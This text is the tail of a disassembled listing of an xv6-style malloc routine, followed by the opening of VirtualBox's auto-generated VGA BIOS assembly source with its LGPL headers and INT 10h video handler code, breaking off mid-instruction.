0x4(%eax),%eax 898: 3b 45 ec cmp -0x14(%ebp),%eax 89b: 72 4d jb 8ea <malloc+0xa6> if(p->s.size == nunits) 89d: 8b 45 f4 mov -0xc(%ebp),%eax 8a0: 8b 40 04 mov 0x4(%eax),%eax 8a3: 3b 45 ec cmp -0x14(%ebp),%eax 8a6: 75 0c jne 8b4 <malloc+0x70> prevp->s.ptr = p->s.ptr; 8a8: 8b 45 f4 mov -0xc(%ebp),%eax 8ab: 8b 10 mov (%eax),%edx 8ad: 8b 45 f0 mov -0x10(%ebp),%eax 8b0: 89 10 mov %edx,(%eax) 8b2: eb 26 jmp 8da <malloc+0x96> else { p->s.size -= nunits; 8b4: 8b 45 f4 mov -0xc(%ebp),%eax 8b7: 8b 40 04 mov 0x4(%eax),%eax 8ba: 2b 45 ec sub -0x14(%ebp),%eax 8bd: 89 c2 mov %eax,%edx 8bf: 8b 45 f4 mov -0xc(%ebp),%eax 8c2: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 8c5: 8b 45 f4 mov -0xc(%ebp),%eax 8c8: 8b 40 04 mov 0x4(%eax),%eax 8cb: c1 e0 03 shl $0x3,%eax 8ce: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 8d1: 8b 45 f4 mov -0xc(%ebp),%eax 8d4: 8b 55 ec mov -0x14(%ebp),%edx 8d7: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 8da: 8b 45 f0 mov -0x10(%ebp),%eax 8dd: a3 e4 0b 00 00 mov %eax,0xbe4 return (void*)(p + 1); 8e2: 8b 45 f4 mov -0xc(%ebp),%eax 8e5: 83 c0 08 add $0x8,%eax 8e8: eb 3b jmp 925 <malloc+0xe1> } if(p == freep) 8ea: a1 e4 0b 00 00 mov 0xbe4,%eax 8ef: 39 45 f4 cmp %eax,-0xc(%ebp) 8f2: 75 1e jne 912 <malloc+0xce> if((p = morecore(nunits)) == 0) 8f4: 83 ec 0c sub $0xc,%esp 8f7: ff 75 ec pushl -0x14(%ebp) 8fa: e8 e5 fe ff ff call 7e4 <morecore> 8ff: 83 c4 10 add $0x10,%esp 902: 89 45 f4 mov %eax,-0xc(%ebp) 905: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 909: 75 07 jne 912 <malloc+0xce> return 0; 90b: b8 00 00 00 00 mov $0x0,%eax 910: eb 13 jmp 925 <malloc+0xe1> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 912: 8b 45 f4 mov -0xc(%ebp),%eax 915: 89 45 f0 mov %eax,-0x10(%ebp) 918: 8b 45 f4 mov -0xc(%ebp),%eax 91b: 8b 00 mov (%eax),%eax 91d: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 920: e9 6d ff ff ff jmp 892 <malloc+0x4e> } 925: c9 leave 926: c3 ret
; $Id: VBoxVgaBiosAlternative.asm $ ;; @file ; Auto Generated source file. Do not edit. ; ; ; Source file: vgarom.asm ; ; ============================================================================================ ; ; Copyright (C) 2001,2002 the LGPL VGABios developers Team ; ; This library is free software; you can redistribute it and/or ; modify it under the terms of the GNU Lesser General Public ; License as published by the Free Software Foundation; either ; version 2 of the License, or (at your option) any later version. ; ; This library is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; Lesser General Public License for more details. ; ; You should have received a copy of the GNU Lesser General Public ; License along with this library; if not, write to the Free Software ; Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ; ; ============================================================================================ ; ; This VGA Bios is specific to the plex86/bochs Emulated VGA card. ; You can NOT drive any physical vga card with it. ; ; ============================================================================================ ; ; ; Source file: vberom.asm ; ; ============================================================================================ ; ; Copyright (C) 2002 Jeroen Janssen ; ; This library is free software; you can redistribute it and/or ; modify it under the terms of the GNU Lesser General Public ; License as published by the Free Software Foundation; either ; version 2 of the License, or (at your option) any later version. ; ; This library is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; Lesser General Public License for more details. ; ; You should have received a copy of the GNU Lesser General Public ; License along with this library; if not, write to the Free Software ; Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ; ; ============================================================================================ ; ; This VBE is part of the VGA Bios specific to the plex86/bochs Emulated VGA card. ; You can NOT drive any physical vga card with it. ; ; ============================================================================================ ; ; This VBE Bios is based on information taken from : ; - VESA BIOS EXTENSION (VBE) Core Functions Standard Version 3.0 located at www.vesa.org ; ; ============================================================================================ ; ; Source file: vgabios.c ; ; // ============================================================================================ ; ; vgabios.c ; ; // ============================================================================================ ; // ; // Copyright (C) 2001,2002 the LGPL VGABios developers Team ; // ; // This library is free software; you can redistribute it and/or ; // modify it under the terms of the GNU Lesser General Public ; // License as published by the Free Software Foundation; either ; // version 2 of the License, or (at your option) any later version. ; // ; // This library is distributed in the hope that it will be useful, ; // but WITHOUT ANY WARRANTY; without even the implied warranty of ; // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; // Lesser General Public License for more details. ; // ; // You should have received a copy of the GNU Lesser General Public ; // License along with this library; if not, write to the Free Software ; // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ; // ; // ============================================================================================ ; // ; // This VGA Bios is specific to the plex86/bochs Emulated VGA card. ; // You can NOT drive any physical vga card with it. ; // ; // ============================================================================================ ; // ; // This file contains code ripped from : ; // - rombios.c of plex86 ; // ; // This VGA Bios contains fonts from : ; // - fntcol16.zip (c) by Joseph Gil avalable at : ; // ftp://ftp.simtel.net/pub/simtelnet/msdos/screen/fntcol16.zip ; // These fonts are public domain ; // ; // This VGA Bios is based on information taken from : ; // - Kevin Lawton's vga card emulation for bochs/plex86 ; // - Ralf Brown's interrupts list available at http://www.cs.cmu.edu/afs/cs/user/ralf/pub/WWW/files.html ; // - Finn Thogersons' VGADOC4b available at http://home.worldonline.dk/~finth/ ; // - Michael Abrash's Graphics Programming Black Book ; // - Francois Gervais' book "programmation des cartes graphiques cga-ega-vga" edited by sybex ; // - DOSEMU 1.0.1 source code for several tables values and formulas ; // ; // Thanks for patches, comments and ideas to : ; // - techt@pikeonline.net ; // ; // ============================================================================================ ; ; Source file: vbe.c ; ; // ============================================================================================ ; // ; // Copyright (C) 2002 Jeroen Janssen ; // ; // This library is free software; you can redistribute it and/or ; // modify it under the terms of the GNU Lesser General Public ; // License as published by the Free Software Foundation; either ; // version 2 of the License, or (at your option) any later version. ; // ; // This library is distributed in the hope that it will be useful, ; // but WITHOUT ANY WARRANTY; without even the implied warranty of ; // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; // Lesser General Public License for more details. ; // ; // You should have received a copy of the GNU Lesser General Public ; // License along with this library; if not, write to the Free Software ; // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ; // ; // ============================================================================================ ; // ; // This VBE is part of the VGA Bios specific to the plex86/bochs Emulated VGA card. ; // You can NOT drive any physical vga card with it. ; // ; // ============================================================================================ ; // ; // This VBE Bios is based on information taken from : ; // - VESA BIOS EXTENSION (VBE) Core Functions Standard Version 3.0 located at www.vesa.org ; // ; // ============================================================================================ ; ; Oracle LGPL Disclaimer: For the avoidance of doubt, except that if any license choice ; other than GPL or LGPL is available it will apply instead, Oracle elects to use only ; the Lesser General Public License version 2.1 (LGPLv2) at this time for any software where ; a choice of LGPL license versions is made available with the language indicating ; that LGPLv2 or any later version may be used, or where a choice of which version ; of the LGPL is applied is otherwise unspecified. ; section VGAROM progbits vstart=0x0 align=1 ; size=0x992 class=CODE group=AUTO db 055h, 0aah, 040h, 0e9h, 062h, 00ah, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 049h, 042h db 04dh, 000h vgabios_int10_handler: ; 0xc0022 LB 0x54e pushfw ; 9c cmp ah, 00fh ; 80 fc 0f jne short 0002eh ; 75 06 call 00183h ; e8 58 01 jmp near 000f3h ; e9 c5 00 cmp ah, 01ah ; 80 fc 1a jne short 00039h ; 75 06 call 00538h ; e8 02 05 jmp near 000f3h ; e9 ba 00 cmp ah, 00bh ; 80 fc 0b jne short 00044h ; 75 06 call 000f5h ; e8 b4 00 jmp near 000f3h ; e9 af 00 cmp ax, 01103h ; 3d 03 11 jne short 0004fh ; 75 06 call 0042fh ; e8 e3 03 jmp near 000f3h ; e9 a4 00 cmp ah, 012h ; 80 fc 12 jne short 00092h ; 75 3e cmp bl, 010h ; 80 fb 10 jne short 0005fh ; 75 06 call 0043ch ; e8 e0 03 jmp near 000f3h ; e9 94 00 cmp bl, 030h ; 80 fb 30 jne short 0006ah ; 75 06 call 0045fh ; e8 f8 03 jmp near 000f3h ; e9 89 00 cmp bl, 031h ; 80 fb 31 jne short 00074h ; 75 05 call 004b2h ; e8 40 04 jmp short 000f3h ; eb 7f cmp bl, 032h ; 80 fb 32 jne short 0007eh ; 75 05 call 004d4h ; e8 58 04 jmp short 000f3h ; eb 75 cmp bl, 033h ; 80 fb 33 jne short 00088h ; 75 05 call 004f2h ; e8 6c 04 jmp short 000f3h ; eb 6b cmp bl, 034h ; 80 fb 34 jne short 000e5h ; 75 58 call 00516h ; e8 86 04 jmp short 000f3h ; eb 61 cmp ax, 0101bh ; 3d 1b 10 je short 000e5h ; 74 4e cmp ah, 010h ; 80 fc 10 jne short 000a1h ; 75 05 call 001aah ; e8 0b 01 jmp short 000f3h ; eb 52 cmp ah, 04fh ; 80 fc 4f jne short 000e5h ; 75 3f cmp AL, strict byte 003h ; 3c 03 jne short 000afh ; 75 05 call 0080dh ; e8 60 07 jmp short 000f3h ; eb 44 cmp AL, strict byte 005h ; 3c 05 jne short 000b8h ; 75 05 call 00832h ; e8 7c 07 jmp short 000f3h ; eb 3b cmp AL, strict byte 006h ; 3c 06 jne short 000c1h ; 75 05 call 0085fh ; e8 a0 07 jmp short 000f3h ; eb 32 cmp AL, strict byte 007h ; 3c 07 jne short 000cah ; 75 05 call 008ach ; e8 e4 07 jmp short 000f3h ; eb 29 cmp AL, strict byte 008h ; 3c 08 jne short 000d3h ; 75 05 call 008e0h ; e8 0f 08 jmp short 000f3h ; eb 20 cmp AL, strict byte 009h ; 3c 09 jne short 000dch ; 75 05 call 00917h ; e8 3d 08 jmp short 000f3h ; eb 17 cmp AL, strict byte 00ah ; 3c 0a jne short 000e5h ; 75 05 call 0097bh ; e8 98 08 jmp short 000f3h ; eb 0e push ES ; 06 push DS ; 1e pushaw ; 60 mov bx, 0c000h ; bb 00 c0 mov ds, bx ; 8e db call 03007h ; e8 17 2f popaw ; 61 pop DS ; 1f pop ES ; 07 popfw ; 9d iret ; cf cmp bh, 000h ; 80 ff 00 je short 00100h ; 74 06 cmp bh, 001h ; 80 ff 01 je short 00151h ; 74 52 retn ; c3 push ax ; 50 push bx ; 53 push cx ; 51 push dx ; 52 push DS ; 1e mov dx, strict word 00040h ; ba 40 00 mov ds, dx ; 8e da mov dx, 003dah ; ba da 03 in AL, DX ; ec cmp byte [word 00049h], 003h ; 80 3e 49 00 03 jbe short 00144h ; 76 2f mov dx, 003c0h ; ba c0 03 mov AL, strict byte 000h ; b0 00 out DX, AL ; ee db 08ah, 0c3h ; mov al, bl ; 8a c3 and AL, strict byte 00fh ; 24 0f test AL, strict byte 008h ; a8 08 je short 00125h ; 74 02 add AL, strict byte 008h ; 04 08 out DX, AL ; ee mov CL, strict byte 001h ; b1 01 and bl, 010h ; 80 e3 10 mov dx, 003c0h ; ba c0 03 db 08ah, 0c1h ; mov al, cl ; 8a c1 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec and AL, strict byte 0efh ; 24 ef db 00ah, 0c3h ; or al, bl ; 0a c3 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee db 0feh, 0c1h ; inc cl ; fe c1 cmp cl, 004h ; 80 f9 04 jne short 0012bh ; 75 e7 mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop DS ; 1f pop dx ; 5a pop cx ; 59 pop bx ; 5b pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 push cx ; 51 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov CL, strict byte 001h ; b1 01 and bl, 001h ; 80 e3 01 mov dx, 003c0h ; ba c0 03 db 08ah, 0c1h ; mov al, cl ; 8a c1 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec and AL, strict byte 0feh ; 24 fe db 00ah, 0c3h ; or al, bl ; 0a c3 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee db 0feh, 0c1h ; inc cl ; fe c1 cmp cl, 004h ; 80 f9 04 jne short 0015eh ; 75 e7 mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop cx ; 59 pop bx ; 5b pop ax ; 58 retn ; c3 push DS ; 1e mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 push bx ; 53 mov bx, strict word 00062h ; bb 62 00 mov al, byte [bx] ; 8a 07 pop bx ; 5b db 08ah, 0f8h ; mov bh, al ; 8a f8 push bx ; 53 mov bx, 00087h ; bb 87 00 mov ah, byte [bx] ; 8a 27 and ah, 080h ; 80 e4 80 mov bx, strict word 00049h ; bb 49 00 mov al, byte [bx] ; 8a 07 db 00ah, 0c4h ; or al, ah ; 0a c4 mov bx, strict word 0004ah ; bb 4a 00 mov ah, byte [bx] ; 8a 27 pop bx ; 5b pop DS ; 1f retn ; c3 cmp AL, strict byte 000h ; 3c 00 jne short 001b0h ; 75 02 jmp short 00211h ; eb 61 cmp AL, strict byte 001h ; 3c 01 jne short 001b6h ; 75 02 jmp short 0022fh ; eb 79 cmp AL, strict byte 002h ; 3c 02 jne short 001bch ; 75 02 jmp short 00237h ; eb 7b cmp AL, strict byte 003h ; 3c 03 jne short 001c3h ; 75 03 jmp near 00268h ; e9 a5 00 cmp AL, strict byte 007h ; 3c 07 jne short 001cah ; 75 03 jmp near 00292h ; e9 c8 00 cmp AL, strict byte 008h ; 3c 08 jne short 001d1h ; 75 03 jmp near 002bah ; e9 e9 00 cmp AL, strict byte 009h ; 3c 09 jne short 001d8h ; 75 03 jmp near 002c8h ; e9 f0 00 cmp AL, strict byte 010h ; 3c 10 jne short 001dfh ; 75 03 jmp near 0030dh ; e9 2e 01 cmp AL, strict byte 012h ; 3c 12 jne short 001e6h ; 75 03 jmp near 00326h ; e9 40 01 cmp AL, strict byte 013h ; 3c 13 jne short 001edh ; 75 03 jmp near 0034eh ; e9 61 01 cmp AL, strict byte 015h ; 3c 15 jne short 001f4h ; 75 03 jmp near 00395h ; e9 a1 01 cmp AL, strict byte 017h ; 3c 17 jne short 001fbh ; 75 03 jmp near 003b0h ; e9 b5 01 cmp AL, strict byte 018h ; 3c 18 jne short 00202h ; 75 03 jmp near 003d8h ; e9 d6 01 cmp AL, strict byte 019h ; 3c 19 jne short 00209h ; 75 03 jmp near 003e3h ; e9 da 01 cmp AL, strict byte 01ah ; 3c 1a jne short 00210h ; 75 03 jmp near 003eeh ; e9 de 01 retn ; c3 cmp bl, 014h ; 80 fb 14 jnbe short 0022eh ; 77 18 push ax ; 50 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee db 08ah, 0c7h ; mov al, bh ; 8a c7 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop ax ; 58 retn ; c3 push bx ; 53 mov BL, strict byte 011h ; b3 11 call 00211h ; e8 dc ff pop bx ; 5b retn ; c3 push ax ; 50 push bx ; 53 push cx ; 51 push dx ; 52 db 08bh, 0dah ; mov bx, dx ; 8b da mov dx, 003dah ; ba da 03 in AL, DX ; ec mov CL, strict byte 000h ; b1 00 mov dx, 003c0h ; ba c0 03 db 08ah, 0c1h ; mov al, cl ; 8a c1 out DX, AL ; ee mov al, byte [es:bx] ; 26 8a 07 out DX, AL ; ee inc bx ; 43 db 0feh, 0c1h ; inc cl ; fe c1 cmp cl, 010h ; 80 f9 10 jne short 00246h ; 75 f1 mov AL, strict byte 011h ; b0 11 out DX, AL ; ee mov al, byte [es:bx] ; 26 8a 07 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop cx ; 59 pop bx ; 5b pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 010h ; b0 10 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec and AL, strict byte 0f7h ; 24 f7 and bl, 001h ; 80 e3 01 sal bl, 003h ; c0 e3 03 db 00ah, 0c3h ; or al, bl ; 0a c3 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop bx ; 5b pop ax ; 58 retn ; c3 cmp bl, 014h ; 80 fb 14 jnbe short 002b9h ; 77 22 push ax ; 50 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec db 08ah, 0f8h ; mov bh, al ; 8a f8 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 mov BL, strict byte 011h ; b3 11 call 00292h ; e8 d1 ff db 08ah, 0c7h ; mov al, bh ; 8a c7 pop bx ; 5b db 08ah, 0f8h ; mov bh, al ; 8a f8 pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 push cx ; 51 push dx ; 52 db 08bh, 0dah ; mov bx, dx ; 8b da mov CL, strict byte 000h ; b1 00 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 db 08ah, 0c1h ; mov al, cl ; 8a c1 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec mov byte [es:bx], al ; 26 88 07 inc bx ; 43 db 0feh, 0c1h ; inc cl ; fe c1 cmp cl, 010h ; 80 f9 10 jne short 002d0h ; 75 e7 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 011h ; b0 11 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec mov byte [es:bx], al ; 26 88 07 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop cx ; 59 pop bx ; 5b pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003c8h ; ba c8 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee mov dx, 003c9h ; ba c9 03 pop ax ; 58 push ax ; 50 db 08ah, 0c4h ; mov al, ah ; 8a c4 out DX, AL ; ee db 08ah, 0c5h ; mov al, ch ; 8a c5 out DX, AL ; ee db 08ah, 0c1h ; mov al, cl ; 8a c1 out DX, AL ; ee pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 push cx ; 51 push dx ; 52 mov dx, 003c8h ; ba c8 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee pop dx ; 5a push dx ; 52 db 08bh, 0dah ; mov bx, dx ; 8b da mov dx, 003c9h ; ba c9 03 mov al, byte [es:bx] ; 26 8a 07 out DX, AL ; ee inc bx ; 43 mov al, byte [es:bx] ; 26 8a 07 out DX, AL ; ee inc bx ; 43 mov al, byte [es:bx] ; 26 8a 07 out DX, AL ; ee inc bx ; 43 dec cx ; 49 jne short 00337h ; 75 ee pop dx ; 5a pop cx ; 59 pop bx ; 5b pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 010h ; b0 10 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec and bl, 001h ; 80 e3 01 jne short 00371h ; 75 0d and AL, strict byte 07fh ; 24 7f sal bh, 007h ; c0 e7 07 db 00ah, 0c7h ; or al, bh ; 0a c7 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee jmp short 0038ah ; eb 19 push ax ; 50 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 014h ; b0 14 out DX, AL ; ee pop ax ; 58 and AL, strict byte 080h ; 24 80 jne short 00384h ; 75 03 sal bh, 002h ; c0 e7 02 and bh, 00fh ; 80 e7 0f db 08ah, 0c7h ; mov al, bh ; 8a c7 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop bx ; 5b pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003c7h ; ba c7 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee pop ax ; 58 db 08ah, 0e0h ; mov ah, al ; 8a e0 mov dx, 003c9h ; ba c9 03 in AL, DX ; ec xchg al, ah ; 86 e0 push ax ; 50 in AL, DX ; ec db 08ah, 0e8h ; mov ch, al ; 8a e8 in AL, DX ; ec db 08ah, 0c8h ; mov cl, al ; 8a c8 pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push bx ; 53 push cx ; 51 push dx ; 52 mov dx, 003c7h ; ba c7 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee pop dx ; 5a push dx ; 52 db 08bh, 0dah ; mov bx, dx ; 8b da mov dx, 003c9h ; ba c9 03 in AL, DX ; ec mov byte [es:bx], al ; 26 88 07 inc bx ; 43 in AL, DX ; ec mov byte [es:bx], al ; 26 88 07 inc bx ; 43 in AL, DX ; ec mov byte [es:bx], al ; 26 88 07 inc bx ; 43 dec cx ; 49 jne short 003c1h ; 75 ee pop dx ; 5a pop cx ; 59 pop bx ; 5b pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003c6h ; ba c6 03 db 08ah, 0c3h ; mov al, bl ; 8a c3 out DX, AL ; ee pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003c6h ; ba c6 03 in AL, DX ; ec db 08ah, 0d8h ; mov bl, al ; 8a d8 pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 010h ; b0 10 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec db 08ah, 0d8h ; mov bl, al ; 8a d8 shr bl, 007h ; c0 eb 07 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 014h ; b0 14 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec db 08ah, 0f8h ; mov bh, al ; 8a f8 and bh, 00fh ; 80 e7 0f test bl, 001h ; f6 c3 01 jne short 0041eh ; 75 03 shr bh, 002h ; c0 ef 02 mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003c4h ; ba c4 03 db 08ah, 0e3h ; mov ah, bl ; 8a e3 mov AL, strict byte 003h ; b0 03 out DX, ax ; ef pop dx ; 5a pop ax ; 58 retn ; c3 push DS ; 1e push ax ; 50 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 db 032h, 0edh ; xor ch, ch ; 32 ed mov bx, 00088h ; bb 88 00 mov cl, byte [bx] ; 8a 0f and cl, 00fh ; 80 e1 0f mov bx, strict word 00063h ; bb 63 00 mov ax, word [bx] ; 8b 07 mov bx, strict word 00003h ; bb 03 00 cmp ax, 003b4h ; 3d b4 03 jne short 0045ch ; 75 02 mov BH, strict byte 001h ; b7 01 pop ax ; 58 pop DS ; 1f retn ; c3 push DS ; 1e push bx ; 53 push dx ; 52 db 08ah, 0d0h ; mov dl, al ; 8a d0 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 mov bx, 00089h ; bb 89 00 mov al, byte [bx] ; 8a 07 mov bx, 00088h ; bb 88 00 mov ah, byte [bx] ; 8a 27 cmp dl, 001h ; 80 fa 01 je short 0048dh ; 74 15 jc short 00497h ; 72 1d cmp dl, 002h ; 80 fa 02 je short 00481h ; 74 02 jmp short 004abh ; eb 2a and AL, strict byte 07fh ; 24 7f or AL, strict byte 010h ; 0c 10 and ah, 0f0h ; 80 e4 f0 or ah, 009h ; 80 cc 09 jne short 004a1h ; 75 14 and AL, strict byte 06fh ; 24 6f and ah, 0f0h ; 80 e4 f0 or ah, 009h ; 80 cc 09 jne short 004a1h ; 75 0a and AL, strict byte 0efh ; 24 ef or AL, strict byte 080h ; 0c 80 and ah, 0f0h ; 80 e4 f0 or ah, 008h ; 80 cc 08 mov bx, 00089h ; bb 89 00 mov byte [bx], al ; 88 07 mov bx, 00088h ; bb 88 00 mov byte [bx], ah ; 88 27 mov ax, 01212h ; b8 12 12 pop dx ; 5a pop bx ; 5b pop DS ; 1f retn ; c3 push DS ; 1e push bx ; 53 push dx ; 52 db 08ah, 0d0h ; mov dl, al ; 8a d0 and dl, 001h ; 80 e2 01 sal dl, 003h ; c0 e2 03 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 mov bx, 00089h ; bb 89 00 mov al, byte [bx] ; 8a 07 and AL, strict byte 0f7h ; 24 f7 db 00ah, 0c2h ; or al, dl ; 0a c2 mov byte [bx], al ; 88 07 mov ax, 01212h ; b8 12 12 pop dx ; 5a pop bx ; 5b pop DS ; 1f retn ; c3 push bx ; 53 push dx ; 52 db 08ah, 0d8h ; mov bl, al ; 8a d8 and bl, 001h ; 80 e3 01 xor bl, 001h ; 80 f3 01 sal bl, 1 ; d0 e3 mov dx, 003cch ; ba cc 03 in AL, DX ; ec and AL, strict byte 0fdh ; 24 fd db 00ah, 0c3h ; or al, bl ; 0a c3 mov dx, 003c2h ; ba c2 03 out DX, AL ; ee mov ax, 01212h ; b8 12 12 pop dx ; 5a pop bx ; 5b retn ; c3 push DS ; 1e push bx ; 53 push dx ; 52 db 08ah, 0d0h ; mov dl, al ; 8a d0 and dl, 001h ; 80 e2 01 xor dl, 001h ; 80 f2 01 sal dl, 1 ; d0 e2 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 mov bx, 00089h ; bb 89 00 mov al, byte [bx] ; 8a 07 and AL, strict byte 0fdh ; 24 fd db 00ah, 0c2h ; or al, dl ; 0a c2 mov byte [bx], al ; 88 07 mov ax, 01212h ; b8 12 12 pop dx ; 5a pop bx ; 5b pop DS ; 1f retn ; c3 push DS ; 1e push bx ; 53 push dx ; 52 db 08ah, 0d0h ; mov dl, al ; 8a d0 and dl, 001h ; 80 e2 01 xor dl, 001h ; 80 f2 01 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 mov bx, 00089h ; bb 89 00 mov al, byte [bx] ; 8a 07 and AL, strict byte 0feh ; 24 fe db 00ah, 0c2h ; or al, dl ; 0a c2 mov byte [bx], al ; 88 07 mov ax, 01212h ; b8 12 12 pop dx ; 5a pop bx ; 5b pop DS ; 1f retn ; c3 cmp AL, strict byte 000h ; 3c 00 je short 00541h ; 74 05 cmp AL, strict byte 001h ; 3c 01 je short 00556h ; 74 16 retn ; c3 push DS ; 1e push ax ; 50 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 mov bx, 0008ah ; bb 8a 00 mov al, byte [bx] ; 8a 07 db 08ah, 0d8h ; mov bl, al ; 8a d8 db 032h, 0ffh ; xor bh, bh ; 32 ff pop ax ; 58 db 08ah, 0c4h ; mov al, ah ; 8a c4 pop DS ; 1f retn ; c3 push DS ; 1e push ax ; 50 push bx ; 53 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 db 08bh, 0c3h ; mov ax, bx ; 8b c3 mov bx, 0008ah ; bb 8a 00 mov byte [bx], al ; 88 07 pop bx ; 5b pop ax ; 58 db 08ah, 0c4h ; mov al, ah ; 8a c4 pop DS ; 1f retn ; c3 times 0x5 db 0 do_out_dx_ax: ; 0xc0570 LB 0x7 xchg ah, al ; 86 c4 out DX, AL ; ee xchg ah, al ; 86 c4 out DX, AL ; ee retn ; c3 do_in_ax_dx: ; 0xc0577 LB 0x40 in AL, DX ; ec xchg 